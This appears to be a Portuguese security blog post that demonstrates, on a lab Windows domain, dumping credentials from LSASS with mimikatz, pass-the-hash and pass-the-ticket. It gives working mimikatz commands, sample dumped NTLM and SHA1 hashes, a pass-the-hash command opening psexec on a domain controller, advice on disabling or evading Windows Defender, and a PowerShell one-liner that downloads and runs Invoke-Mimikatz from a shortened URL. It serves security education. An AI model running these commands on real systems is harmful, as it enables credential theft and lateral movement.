LSASS Dump, Pass-The-Hash e Pass-The-Ticket

No  momento em que eu escrevo esse artigo estou no meio da edição de um vídeo da série Cybersecurity Vlog para o meu no canal no youtube. Neste vídeo eu cito 3 conjuntos de ferramentas, algumas baseadas  em PowerShell:

  • Mimikatz
  • PowerSploit
  • PowerShell Empire

Essas ferramentas são utilizadas por todos os tipos de pessoas, hackers, script kiddies, red team, blue team e curiosos como eu.

Quem procura essas ferramentas tem a intenção de executar diversos testes de penetração e elas são como um verdadeiro canivete suíço, mas de modo geral a maioria pretende explorar as credenciais. 
E é sobre isso que eu quero escrever hoje.

Credencias no sistema

Toda vez um usuário faz logon em um computador  as credenciais são armazenadas em processo na memoria chamado LSASS (Local Security Authority Subsystem Service) . Isso facilita o processo de logon único do Windows. O famoso SSO, Single Sign On.

No LSASS fica armazenada por exemplo o tickets do Kerberos quando temos logon via Active Directory, Hashs do NTLM, LM e possivelmente até senhas em texto-puro (Clear-text). (Porém desde o Windows 8.1 as senhas no modo LM e texto puro não ficam mais armazenadas na memória. (LSA Protection) 

Vamos fazer um DUMP antes pra entender melhor (uso básico do mimikaz)

Baixe e descompacte os binários do mimikatz (com o Windows Defender desabilitado) https://github.com/gentilkiwi/mimikatz/releases/latest e execute os seguintes comandos:

privilege::debug
sekurlsa::logonpasswords

Uma enorme lista contendo diversas informações sobre logon irá aparacer.  (Note que eu executei esse comando como um usuário que é membro do grupo “Domain Admins” e estou com o Windows Defender desabilitado. Além do mais eu já havia logado previamente como administrator nessa maquina)

Veja que as primeiras informações do usuário comum e outras são do administrador do domino.

Username : Administrator
Domain : ITSEC.LAB
NTLM : e19ccf75ee54e06b06a5907af13cef42
SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63

O sistema armazena nossas senhas em um formato hash. É possível ver que nesse meu sistema com Windows Server 2016 foi possível ver o valor NTLM e19ccf75ee54e06b06a5907af13cef42 e que seu eu acessar um site como por exemplo CrackStation.net  já podemos achar o valor associado. Mas esse não é o ponto desse artigo.

Pass-the-Hash (PtH)

O ataque Pass-the-Hash (PtH) consiste na reutilização de um hash. De posse do valor hash o atacante pode iniciar uma sessão sem ao menos saber qual é a senha. O mimikatz permite fazer isso de maneira fácil.

sekurlsa::pth /user:Administrator /domain:ITSEC /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:"c:\pstools\psexec \WS2016ADDS.ITSec.LAB -h cmd.exe"

No comando acima eu vou executar o PSExec para me conectar ao controlador de dominio.

Pass-the-Ticket (Ptt)

Muito similar ao Pass-the-Hash, neste ataque todos os tickets do kerberos podem ser exportados e então reutilizados.

ByPass Windows Defender

No vídeo abaixo é possível ver como podemos ofuscar a execução do Mimikatz.

Como alternativa você pode também usar o invoke-mimikatz do PowerSploit https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1

powershell "IEX (new-Object Net.Webclient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"

Anúncio

Sobre Daniel Donda 549 Artigos
Olá, meu nome é Daniel Donda e sou especialista em cibersegurança, autor de livros, professor e palestrante. Saiba mais

1 Trackback / Pingback

  1. Ataques a contas do Active Directory – Daniel Donda

Faça um comentário

Seu e-mail não será divulgado.


*